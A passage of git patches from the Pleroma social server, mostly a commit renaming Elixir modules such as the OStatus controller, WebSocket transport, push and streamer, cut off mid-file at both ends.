build_tags(%{activity_id: id, object: object, user: user}) do - attachments = build_attachments(id, object) - scrubbed_content = Utils.scrub_html_and_truncate(object) - # Zero width space - content = - if scrubbed_content != "" and scrubbed_content != "\u200B" do - "“" <> scrubbed_content <> "”" - else - "" - end - - [ - title_tag(user), - {:meta, [property: "twitter:description", content: content], []} - ] ++ - if attachments == [] or Metadata.activity_nsfw?(object) do - [ - image_tag(user), - {:meta, [property: "twitter:card", content: "summary"], []} - ] - else - attachments - end - end - - @impl Provider - def build_tags(%{user: user}) do - with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do - [ - title_tag(user), - {:meta, [property: "twitter:description", content: truncated_bio], []}, - image_tag(user), - {:meta, [property: "twitter:card", content: "summary"], []} - ] - end - end - - defp title_tag(user) do - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []} - end - - def image_tag(user) do - {:meta, [property: "twitter:image", content: Utils.attachment_url(User.avatar_url(user))], []} - end - - defp build_attachments(id, %{data: %{"attachment" => attachments}}) do - Enum.reduce(attachments, [], fn attachment, acc -> - rendered_tags = - Enum.reduce(attachment["url"], [], fn url, acc -> - # TODO: Add additional properties to objects when we have the data available. - case Utils.fetch_media_type(@media_types, url["mediaType"]) do - "audio" -> - [ - {:meta, [property: "twitter:card", content: "player"], []}, - {:meta, [property: "twitter:player:width", content: "480"], []}, - {:meta, [property: "twitter:player:height", content: "80"], []}, - {:meta, [property: "twitter:player", content: player_url(id)], []} - | acc - ] - - "image" -> - [ - {:meta, [property: "twitter:card", content: "summary_large_image"], []}, - {:meta, - [ - property: "twitter:player", - content: Utils.attachment_url(url["href"]) - ], []} - | acc - ] - - # TODO: Need the true width and height values here or Twitter renders an iFrame with - # a bad aspect ratio - "video" -> - [ - {:meta, [property: "twitter:card", content: "player"], []}, - {:meta, [property: "twitter:player", content: player_url(id)], []}, - {:meta, [property: "twitter:player:width", content: "480"], []}, - {:meta, [property: "twitter:player:height", content: "480"], []} - | acc - ] - - _ -> - acc - end - end) - - acc ++ rendered_tags - end) - end - - defp build_attachments(_id, _object), do: [] - - defp player_url(id) do - Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice_player, id) - end -end -- cgit v1.2.3 From fc7151a9c4cbd2fb122d717f54de4b30acffea36 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 20:02:53 +0300 Subject: more files renamings --- lib/phoenix/transports/web_socket/raw.ex | 89 ++++++ lib/pleroma/web.ex | 234 +++++++++++++++ .../web/mongoose_im/mongoose_im_controller.ex | 46 +++ .../web/mongooseim/mongoose_im_controller.ex | 46 --- lib/pleroma/web/o_status/o_status_controller.ex | 151 ++++++++++ lib/pleroma/web/ostatus/ostatus_controller.ex | 151 ---------- lib/pleroma/web/plug.ex | 8 + lib/pleroma/web/push.ex | 37 +++ lib/pleroma/web/push/push.ex | 37 --- lib/pleroma/web/rich_media/parsers/o_embed.ex | 29 ++ .../web/rich_media/parsers/oembed_parser.ex | 29 -- lib/pleroma/web/streamer.ex | 331 +++++++++++++++++++++ lib/pleroma/web/streamer/streamer.ex | 331 --------------------- lib/pleroma/web/twitter_api/controller.ex | 100 +++++++ .../web/twitter_api/twitter_api_controller.ex | 100 ------- lib/pleroma/web/web.ex | 239 --------------- lib/pleroma/web/web_finger.ex | 201 +++++++++++++ lib/pleroma/web/web_finger/web_finger.ex | 201 ------------- lib/pleroma/web/xml.ex | 45 +++ lib/pleroma/web/xml/xml.ex | 45 --- lib/pleroma/xml_builder.ex | 49 +++ lib/transports.ex | 89 ------ lib/xml_builder.ex | 49 --- 23 files changed, 1320 insertions(+), 1317 deletions(-) create mode 100644 lib/phoenix/transports/web_socket/raw.ex create mode 100644 lib/pleroma/web.ex create mode 100644 lib/pleroma/web/mongoose_im/mongoose_im_controller.ex delete mode 100644 lib/pleroma/web/mongooseim/mongoose_im_controller.ex create mode 100644 lib/pleroma/web/o_status/o_status_controller.ex delete mode 100644 lib/pleroma/web/ostatus/ostatus_controller.ex create mode 100644 lib/pleroma/web/plug.ex create mode 100644 lib/pleroma/web/push.ex delete mode 100644 lib/pleroma/web/push/push.ex create mode 100644 lib/pleroma/web/rich_media/parsers/o_embed.ex delete mode 100644 lib/pleroma/web/rich_media/parsers/oembed_parser.ex create mode 100644 lib/pleroma/web/streamer.ex delete mode 100644 lib/pleroma/web/streamer/streamer.ex create mode 100644 lib/pleroma/web/twitter_api/controller.ex delete mode 100644 lib/pleroma/web/twitter_api/twitter_api_controller.ex delete mode 100644 lib/pleroma/web/web.ex create mode 100644 lib/pleroma/web/web_finger.ex delete mode 100644 lib/pleroma/web/web_finger/web_finger.ex create mode 100644 lib/pleroma/web/xml.ex delete mode 100644 lib/pleroma/web/xml/xml.ex create mode 100644 lib/pleroma/xml_builder.ex delete mode 100644 lib/transports.ex delete mode 100644 lib/xml_builder.ex diff --git a/lib/phoenix/transports/web_socket/raw.ex b/lib/phoenix/transports/web_socket/raw.ex new file mode 100644 index 000000000..aab7fad99 --- /dev/null +++ b/lib/phoenix/transports/web_socket/raw.ex @@ -0,0 +1,89 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Phoenix.Transports.WebSocket.Raw do + import Plug.Conn, + only: [ + fetch_query_params: 1, + send_resp: 3 + ] + + alias Phoenix.Socket.Transport + + def default_config do + [ + timeout: 60_000, + transport_log: false, + cowboy: Phoenix.Endpoint.CowboyWebSocket + ] + end + + def init(%Plug.Conn{method: "GET"} = conn, {endpoint, handler, transport}) do + {_, opts} = handler.__transport__(transport) + + conn = + conn + |> fetch_query_params + |> Transport.transport_log(opts[:transport_log]) + |> Transport.force_ssl(handler, endpoint, opts) + |> Transport.check_origin(handler, endpoint, opts) + + case conn do + %{halted: false} = conn -> + case Transport.connect(endpoint, handler, transport, __MODULE__, nil, conn.params) do + {:ok, socket} -> + {:ok, conn, {__MODULE__, {socket, opts}}} + + :error -> + send_resp(conn, :forbidden, "") + {:error, conn} + end + + _ -> + {:error, conn} + end + end + + def init(conn, _) do + send_resp(conn, :bad_request, "") + {:error, conn} + end + + def ws_init({socket, config}) do + Process.flag(:trap_exit, true) + {:ok, %{socket: socket}, config[:timeout]} + end + + def ws_handle(op, data, state) do + state.socket.handler + |> apply(:handle, [op, data, state]) + |> case do + {op, data} -> + {:reply, {op, data}, state} + + {op, data, state} -> + {:reply, {op, data}, state} + + %{} = state -> + {:ok, state} + + _ -> + {:ok, state} + end + end + + def ws_info({_, _} = tuple, state) do + {:reply, tuple, state} + end + + def ws_info(_tuple, state), do: {:ok, state} + + def ws_close(state) do + ws_handle(:closed, :normal, state) + end + + def ws_terminate(reason, state) do + ws_handle(:closed, reason, state) + end +end diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex new file mode 100644 index 000000000..9ca52733d --- /dev/null +++ b/lib/pleroma/web.ex @@ -0,0 +1,234 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web do + @moduledoc """ + A module that keeps using definitions for controllers, + views and so on. + + This can be used in your application as: + + use Pleroma.Web, :controller + use Pleroma.Web, :view + + The definitions below will be executed for every view, + controller, etc, so keep them short and clean, focused + on imports, uses and aliases. + + Do NOT define functions inside the quoted expressions + below. + """ + + alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug + alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + + def controller do + quote do + use Phoenix.Controller, namespace: Pleroma.Web + + import Plug.Conn + + import Pleroma.Web.Gettext + import Pleroma.Web.Router.Helpers + import Pleroma.Web.TranslationHelpers + + plug(:set_put_layout) + + defp set_put_layout(conn, _) do + put_layout(conn, Pleroma.Config.get(:app_layout, "app.html")) + end + + # Marks plugs intentionally skipped and blocks their execution if present in plugs chain + defp skip_plug(conn, plug_modules) do + plug_modules + |> List.wrap() + |> Enum.reduce( + conn, + fn plug_module, conn -> + try do + plug_module.skip_plug(conn) + rescue + UndefinedFunctionError -> + raise "`#{plug_module}` is not skippable. Append `use Pleroma.Web, :plug` to its code." + end + end + ) + end + + # Executed just before actual controller action, invokes before-action hooks (callbacks) + defp action(conn, params) do + with %{halted: false} = conn <- maybe_drop_authentication_if_oauth_check_ignored(conn), + %{halted: false} = conn <- maybe_perform_public_or_authenticated_check(conn), + %{halted: false} = conn <- maybe_perform_authenticated_check(conn), + %{halted: false} = conn <- maybe_halt_on_missing_oauth_scopes_check(conn) do + super(conn, params) + end + end + + # For non-authenticated API actions, drops auth info if OAuth scopes check was ignored + # (neither performed nor explicitly skipped) + defp maybe_drop_authentication_if_oauth_check_ignored(conn) do + if PlugHelper.plug_called?(conn, ExpectPublicOrAuthenticatedCheckPlug) and + not PlugHelper.plug_called_or_skipped?(conn, OAuthScopesPlug) do + OAuthScopesPlug.drop_auth_info(conn) + else + conn + end + end + + # Ensures instance is public -or- user is authenticated if such check was scheduled + defp maybe_perform_public_or_authenticated_check(conn) do + if PlugHelper.plug_called?(conn, ExpectPublicOrAuthenticatedCheckPlug) do + EnsurePublicOrAuthenticatedPlug.call(conn, %{}) + else + conn + end + end + + # Ensures user is authenticated if such check was scheduled + # Note: runs prior to action even if it was already executed earlier in plug chain + # (since OAuthScopesPlug has option of proceeding unauthenticated) + defp maybe_perform_authenticated_check(conn) do + if PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) do + EnsureAuthenticatedPlug.call(conn, %{}) + else + conn + end + end + + # Halts if authenticated API action neither performs nor explicitly skips OAuth scopes check + defp maybe_halt_on_missing_oauth_scopes_check(conn) do + if PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) and + not PlugHelper.plug_called_or_skipped?(conn, OAuthScopesPlug) do + conn + |> render_error( + :forbidden, + "Security violation: OAuth scopes check was neither handled nor explicitly skipped." + ) + |> halt() + else + conn + end + end + end + end + + def view do + quote do + use Phoenix.View, + root: "lib/pleroma/web/templates", + namespace: Pleroma.Web + + # Import convenience functions from controllers + import Phoenix.Controller, only: [get_csrf_token: 0, get_flash: 2, view_module: 1] + + import Pleroma.Web.ErrorHelpers + import Pleroma.Web.Gettext + import Pleroma.Web.Router.Helpers + + require Logger + + @doc "Same as `render/3` but wrapped in a rescue block" + def safe_render(view, template, assigns \\ %{}) do + Phoenix.View.render(view, template, assigns) + rescue + error -> + Logger.error( + "#{__MODULE__} failed to render #{inspect({view, template})}\n" <> + Exception.format(:error, error, __STACKTRACE__) + ) + + nil + end + + @doc """ + Same as `render_many/4` but wrapped in rescue block. + """ + def safe_render_many(collection, view, template, assigns \\ %{}) do + Enum.map(collection, fn resource -> + as = Map.get(assigns, :as) || view.__resource__ + assigns = Map.put(assigns, as, resource) + safe_render(view, template, assigns) + end) + |> Enum.filter(& &1) + end + end + end + + def router do + quote do + use Phoenix.Router + # credo:disable-for-next-line Credo.Check.Consistency.MultiAliasImportRequireUse + import Plug.Conn + import Phoenix.Controller + end + end + + def channel do + quote do + # credo:disable-for-next-line Credo.Check.Consistency.MultiAliasImportRequireUse + use Phoenix.Channel + import Pleroma.Web.Gettext + end + end + + def plug do + quote do + @behaviour Pleroma.Web.Plug + @behaviour Plug + + @doc """ + Marks a plug intentionally skipped and blocks its execution if it's present in plugs chain. + """ + def skip_plug(conn) do + PlugHelper.append_to_private_list( + conn, + PlugHelper.skipped_plugs_list_id(), + __MODULE__ + ) + end + + @impl Plug + @doc """ + Before-plug hook that + * ensures the plug is not skipped + * processes `:if_func` / `:unless_func` functional pre-run conditions + * adds plug to the list of called plugs and calls `perform/2` if checks are passed + + Note: multiple invocations of the same plug (with different or same options) are allowed. + """ + def call(%Plug.Conn{} = conn, options) do + if PlugHelper.plug_skipped?(conn, __MODULE__) || + (options[:if_func] && !options[:if_func].(conn)) || + (options[:unless_func] && options[:unless_func].(conn)) do + conn + else + conn = + PlugHelper.append_to_private_list( + conn, + PlugHelper.called_plugs_list_id(), + __MODULE__ + ) + + apply(__MODULE__, :perform, [conn, options]) + end + end + end + end + + @doc """ + When used, dispatch to the appropriate controller/view/etc. + """ + defmacro __using__(which) when is_atom(which) do + apply(__MODULE__, which, []) + end + + def base_url do + Pleroma.Web.Endpoint.url() + end +end diff --git a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex new file mode 100644 index 000000000..6cbbe8fd8 --- /dev/null +++ b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex @@ -0,0 +1,46 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MongooseIM.MongooseIMController do + use Pleroma.Web, :controller + + alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Plugs.RateLimiter + alias Pleroma.Repo + alias Pleroma.User + + plug(RateLimiter, [name: :authentication] when action in [:user_exists, :check_password]) + plug(RateLimiter, [name: :authentication, params: ["user"]] when action == :check_password) + + def user_exists(conn, %{"user" => username}) do + with %User{} <- Repo.get_by(User, nickname: username, local: true, deactivated: false) do + conn + |> json(true) + else + _ -> + conn + |> put_status(:not_found) + |> json(false) + end + end + + def check_password(conn, %{"user" => username, "pass" => password}) do + with %User{password_hash: password_hash, deactivated: false} <- + Repo.get_by(User, nickname: username, local: true), + true <- AuthenticationPlug.checkpw(password, password_hash) do + conn + |> json(true) + else + false -> + conn + |> put_status(:forbidden) + |> json(false) + + _ -> + conn + |> put_status(:not_found) + |> json(false) + end + end +end diff --git a/lib/pleroma/web/mongooseim/mongoose_im_controller.ex b/lib/pleroma/web/mongooseim/mongoose_im_controller.ex deleted file mode 100644 index 6cbbe8fd8..000000000 --- a/lib/pleroma/web/mongooseim/mongoose_im_controller.ex +++ /dev/null @@ -1,46 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MongooseIM.MongooseIMController do - use Pleroma.Web, :controller - - alias Pleroma.Plugs.AuthenticationPlug - alias Pleroma.Plugs.RateLimiter - alias Pleroma.Repo - alias Pleroma.User - - plug(RateLimiter, [name: :authentication] when action in [:user_exists, :check_password]) - plug(RateLimiter, [name: :authentication, params: ["user"]] when action == :check_password) - - def user_exists(conn, %{"user" => username}) do - with %User{} <- Repo.get_by(User, nickname: username, local: true, deactivated: false) do - conn - |> json(true) - else - _ -> - conn - |> put_status(:not_found) - |> json(false) - end - end - - def check_password(conn, %{"user" => username, "pass" => password}) do - with %User{password_hash: password_hash, deactivated: false} <- - Repo.get_by(User, nickname: username, local: true), - true <- AuthenticationPlug.checkpw(password, password_hash) do - conn - |> json(true) - else - false -> - conn - |> put_status(:forbidden) - |> json(false) - - _ -> - conn - |> put_status(:not_found) - |> json(false) - end - end -end diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex new file mode 100644 index 000000000..de1b0b3f0 --- /dev/null +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -0,0 +1,151 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OStatus.OStatusController do + use Pleroma.Web, :controller + + alias Fallback.RedirectController + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Plugs.RateLimiter + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPubController + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.Endpoint + alias Pleroma.Web.Metadata.PlayerView + alias Pleroma.Web.Router + + plug(Pleroma.Plugs.EnsureAuthenticatedPlug, + unless_func: &Pleroma.Web.FederatingPlug.federating?/1 + ) + + plug( + RateLimiter, + [name: :ap_routes, params: ["uuid"]] when action in [:object, :activity] + ) + + plug( + Pleroma.Plugs.SetFormatPlug + when action in [:object, :activity, :notice] + ) + + action_fallback(:errors) + + def object(%{assigns: %{format: format}} = conn, _params) + when format in ["json", "activity+json"] do + ActivityPubController.call(conn, :object) + end + + def object(%{assigns: %{format: format}} = conn, _params) do + with id <- Endpoint.url() <> conn.request_path, + {_, %Activity{} = activity} <- + {:activity, Activity.get_create_by_object_ap_id_with_object(id)}, + {_, true} <- {:public?, Visibility.is_public?(activity)} do + case format do + _ -> redirect(conn, to: "/notice/#{activity.id}") + end + else + reason when reason in [{:public?, false}, {:activity, nil}] -> + {:error, :not_found} + + e -> + e + end + end + + def activity(%{assigns: %{format: format}} = conn, _params) + when format in ["json", "activity+json"] do + ActivityPubController.call(conn, :activity) + end + + def activity(%{assigns: %{format: format}} = conn, _params) do + with id <- Endpoint.url() <> conn.request_path, + {_, %Activity{} = activity} <- {:activity, Activity.normalize(id)}, + {_, true} <- {:public?, Visibility.is_public?(activity)} do + case format do + _ -> redirect(conn, to: "/notice/#{activity.id}") + end + else + reason when reason in [{:public?, false}, {:activity, nil}] -> + {:error, :not_found} + + e -> + e + end + end + + def notice(%{assigns: %{format: format}} = conn, %{"id" => id}) do + with {_, %Activity{} = activity} <- {:activity, Activity.get_by_id_with_object(id)}, + {_, true} <- {:public?, Visibility.is_public?(activity)}, + %User{} = user <- User.get_cached_by_ap_id(activity.data["actor"]) do + cond do + format in ["json", "activity+json"] -> + if activity.local do + %{data: %{"id" => redirect_url}} = Object.normalize(activity) + redirect(conn, external: redirect_url) + else + {:error, :not_found} + end + + activity.data["type"] == "Create" -> + %Object{} = object = Object.normalize(activity) + + RedirectController.redirector_with_meta( + conn, + %{ + activity_id: activity.id, + object: object, + url: Router.Helpers.o_status_url(Endpoint, :notice, activity.id), + user: user + } + ) + + true -> + RedirectController.redirector(conn, nil) + end + else + reason when reason in [{:public?, false}, {:activity, nil}] -> + conn + |> put_status(404) + |> RedirectController.redirector(nil, 404) + + e -> + e + end + end + + # Returns an HTML embedded <audio> or <video> player suitable for embed iframes. + def notice_player(conn, %{"id" => id}) do + with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id_with_object(id), + true <- Visibility.is_public?(activity), + %Object{} = object <- Object.normalize(activity), + %{data: %{"attachment" => [%{"url" => [url | _]} | _]}} <- object, + true <- String.starts_with?(url["mediaType"], ["audio", "video"]) do + conn + |> put_layout(:metadata_player) + |> put_resp_header("x-frame-options", "ALLOW") + |> put_resp_header( + "content-security-policy", + "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;" + ) + |> put_view(PlayerView) + |> render("player.html", url) + else + _error -> + conn + |> put_status(404) + |> RedirectController.redirector(nil, 404) + end + end + + defp errors(conn, {:error, :not_found}) do + render_error(conn, :not_found, "Not found") + end + + defp errors(conn, {:fetch_user, nil}), do: errors(conn, {:error, :not_found}) + + defp errors(conn, _) do + render_error(conn, :internal_server_error, "Something went wrong") + end +end diff --git a/lib/pleroma/web/ostatus/ostatus_controller.ex b/lib/pleroma/web/ostatus/ostatus_controller.ex deleted file mode 100644 index de1b0b3f0..000000000 --- a/lib/pleroma/web/ostatus/ostatus_controller.ex +++ /dev/null @@ -1,151 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OStatus.OStatusController do - use Pleroma.Web, :controller - - alias Fallback.RedirectController - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Plugs.RateLimiter - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPubController - alias Pleroma.Web.ActivityPub.Visibility - alias Pleroma.Web.Endpoint - alias Pleroma.Web.Metadata.PlayerView - alias Pleroma.Web.Router - - plug(Pleroma.Plugs.EnsureAuthenticatedPlug, - unless_func: &Pleroma.Web.FederatingPlug.federating?/1 - ) - - plug( - RateLimiter, - [name: :ap_routes, params: ["uuid"]] when action in [:object, :activity] - ) - - plug( - Pleroma.Plugs.SetFormatPlug - when action in [:object, :activity, :notice] - ) - - action_fallback(:errors) - - def object(%{assigns: %{format: format}} = conn, _params) - when format in ["json", "activity+json"] do - ActivityPubController.call(conn, :object) - end - - def object(%{assigns: %{format: format}} = conn, _params) do - with id <- Endpoint.url() <> conn.request_path, - {_, %Activity{} = activity} <- - {:activity, Activity.get_create_by_object_ap_id_with_object(id)}, - {_, true} <- {:public?, Visibility.is_public?(activity)} do - case format do - _ -> redirect(conn, to: "/notice/#{activity.id}") - end - else - reason when reason in [{:public?, false}, {:activity, nil}] -> - {:error, :not_found} - - e -> - e - end - end - - def activity(%{assigns: %{format: format}} = conn, _params) - when format in ["json", "activity+json"] do - ActivityPubController.call(conn, :activity) - end - - def activity(%{assigns: %{format: format}} = conn, _params) do - with id <- Endpoint.url() <> conn.request_path, - {_, %Activity{} = activity} <- {:activity, Activity.normalize(id)}, - {_, true} <- {:public?, Visibility.is_public?(activity)} do - case format do - _ -> redirect(conn, to: "/notice/#{activity.id}") - end - else - reason when reason in [{:public?, false}, {:activity, nil}] -> - {:error, :not_found} - - e -> - e - end - end - - def notice(%{assigns: %{format: format}} = conn, %{"id" => id}) do - with {_, %Activity{} = activity} <- {:activity, Activity.get_by_id_with_object(id)}, - {_, true} <- {:public?, Visibility.is_public?(activity)}, - %User{} = user <- User.get_cached_by_ap_id(activity.data["actor"]) do - cond do - format in ["json", "activity+json"] -> - if activity.local do - %{data: %{"id" => redirect_url}} = Object.normalize(activity) - redirect(conn, external: redirect_url) - else - {:error, :not_found} - end - - activity.data["type"] == "Create" -> - %Object{} = object = Object.normalize(activity) - - RedirectController.redirector_with_meta( - conn, - %{ - activity_id: activity.id, - object: object, - url: Router.Helpers.o_status_url(Endpoint, :notice, activity.id), - user: user - } - ) - - true -> - RedirectController.redirector(conn, nil) - end - else - reason when reason in [{:public?, false}, {:activity, nil}] -> - conn - |> put_status(404) - |> RedirectController.redirector(nil, 404) - - e -> - e - end - end - - # Returns an HTML embedded <audio> or <video> player suitable for embed iframes. - def notice_player(conn, %{"id" => id}) do - with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id_with_object(id), - true <- Visibility.is_public?(activity), - %Object{} = object <- Object.normalize(activity), - %{data: %{"attachment" => [%{"url" => [url | _]} | _]}} <- object, - true <- String.starts_with?(url["mediaType"], ["audio", "video"]) do - conn - |> put_layout(:metadata_player) - |> put_resp_header("x-frame-options", "ALLOW") - |> put_resp_header( - "content-security-policy", - "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;" - ) - |> put_view(PlayerView) - |> render("player.html", url) - else - _error -> - conn - |> put_status(404) - |> RedirectController.redirector(nil, 404) - end - end - - defp errors(conn, {:error, :not_found}) do - render_error(conn, :not_found, "Not found") - end - - defp errors(conn, {:fetch_user, nil}), do: errors(conn, {:error, :not_found}) - - defp errors(conn, _) do - render_error(conn, :internal_server_error, "Something went wrong") - end -end diff --git a/lib/pleroma/web/plug.ex b/lib/pleroma/web/plug.ex new file mode 100644 index 000000000..840b35072 --- /dev/null +++ b/lib/pleroma/web/plug.ex @@ -0,0 +1,8 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plug do + # Substitute for `call/2` which is defined with `use Pleroma.Web, :plug` + @callback perform(Plug.Conn.t(), Plug.opts()) :: Plug.Conn.t() +end diff --git a/lib/pleroma/web/push.ex b/lib/pleroma/web/push.ex new file mode 100644 index 000000000..b80a6438d --- /dev/null +++ b/lib/pleroma/web/push.ex @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Push do + alias Pleroma.Workers.WebPusherWorker + + require Logger + + def init do + unless enabled() do + Logger.warn(""" + VAPID key pair is not found. If you wish to enabled web push, please run + + mix web_push.gen.keypair + + and add the resulting output to your configuration file. + """) + end + end + + def vapid_config do + Application.get_env(:web_push_encryption, :vapid_details, []) + end + + def enabled do + case vapid_config() do + [] -> false + list when is_list(list) -> true + _ -> false + end + end + + def send(notification) do + WebPusherWorker.enqueue("web_push", %{"notification_id" => notification.id}) + end +end diff --git a/lib/pleroma/web/push/push.ex b/lib/pleroma/web/push/push.ex deleted file mode 100644 index b80a6438d..000000000 --- a/lib/pleroma/web/push/push.ex +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Push do - alias Pleroma.Workers.WebPusherWorker - - require Logger - - def init do - unless enabled() do - Logger.warn(""" - VAPID key pair is not found. If you wish to enabled web push, please run - - mix web_push.gen.keypair - - and add the resulting output to your configuration file. - """) - end - end - - def vapid_config do - Application.get_env(:web_push_encryption, :vapid_details, []) - end - - def enabled do - case vapid_config() do - [] -> false - list when is_list(list) -> true - _ -> false - end - end - - def send(notification) do - WebPusherWorker.enqueue("web_push", %{"notification_id" => notification.id}) - end -end diff --git a/lib/pleroma/web/rich_media/parsers/o_embed.ex b/lib/pleroma/web/rich_media/parsers/o_embed.ex new file mode 100644 index 000000000..1fe6729c3 --- /dev/null +++ b/lib/pleroma/web/rich_media/parsers/o_embed.ex @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parsers.OEmbed do + def parse(html, _data) do + with elements = [_ | _] <- get_discovery_data(html), + oembed_url when is_binary(oembed_url) <- get_oembed_url(elements), + {:ok, oembed_data} <- get_oembed_data(oembed_url) do + oembed_data + else + _e -> %{} + end + end + + defp get_discovery_data(html) do + html |> Floki.find("link[type='application/json+oembed']") + end + + defp get_oembed_url([{"link", attributes, _children} | _]) do + Enum.find_value(attributes, fn {k, v} -> if k == "href", do: v end) + end + + defp get_oembed_data(url) do + with {:ok, %Tesla.Env{body: json}} <- Pleroma.Web.RichMedia.Helpers.rich_media_get(url) do + Jason.decode(json) + end + end +end diff --git a/lib/pleroma/web/rich_media/parsers/oembed_parser.ex b/lib/pleroma/web/rich_media/parsers/oembed_parser.ex deleted file mode 100644 index 1fe6729c3..000000000 --- a/lib/pleroma/web/rich_media/parsers/oembed_parser.ex +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parsers.OEmbed do - def parse(html, _data) do - with elements = [_ | _] <- get_discovery_data(html), - oembed_url when is_binary(oembed_url) <- get_oembed_url(elements), - {:ok, oembed_data} <- get_oembed_data(oembed_url) do - oembed_data - else - _e -> %{} - end - end - - defp get_discovery_data(html) do - html |> Floki.find("link[type='application/json+oembed']") - end - - defp get_oembed_url([{"link", attributes, _children} | _]) do - Enum.find_value(attributes, fn {k, v} -> if k == "href", do: v end) - end - - defp get_oembed_data(url) do - with {:ok, %Tesla.Env{body: json}} <- Pleroma.Web.RichMedia.Helpers.rich_media_get(url) do - Jason.decode(json) - end - end -end diff --git a/lib/pleroma/web/streamer.ex b/lib/pleroma/web/streamer.ex new file mode 100644 index 000000000..5475f18a6 --- /dev/null +++ b/lib/pleroma/web/streamer.ex @@ -0,0 +1,331 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Streamer do + require Logger + + alias Pleroma.Activity + alias Pleroma.Chat.MessageReference + alias Pleroma.Config + alias Pleroma.Conversation.Participation + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.StreamerView + + @mix_env Mix.env() + @registry Pleroma.Web.StreamerRegistry + + def registry, do: @registry + + @public_streams ["public", "public:local", "public:media", "public:local:media"] + @user_streams ["user", "user:notification", "direct", "user:pleroma_chat"] + + @doc "Expands and authorizes a stream, and registers the process for streaming." + @spec get_topic_and_add_socket( + stream :: String.t(), + User.t() | nil, + Token.t() | nil, + Map.t() | nil + ) :: + {:ok, topic :: String.t()} | {:error, :bad_topic} | {:error, :unauthorized} + def get_topic_and_add_socket(stream, user, oauth_token, params \\ %{}) do + case get_topic(stream, user, oauth_token, params) do + {:ok, topic} -> add_socket(topic, user) + error -> error + end + end + + @doc "Expand and authorizes a stream" + @spec get_topic(stream :: String.t(), User.t() | nil, Token.t() | nil, Map.t()) :: + {:ok, topic :: String.t()} | {:error, :bad_topic} + def get_topic(stream, user, oauth_token, params \\ %{}) + + # Allow all public steams. + def get_topic(stream, _user, _oauth_token, _params) when stream in @public_streams do + {:ok, stream} + end + + # Allow all hashtags streams. + def get_topic("hashtag", _user, _oauth_token, %{"tag" => tag} = _params) do + {:ok, "hashtag:" <> tag} + end + + # Expand user streams. + def get_topic( + stream, + %User{id: user_id} 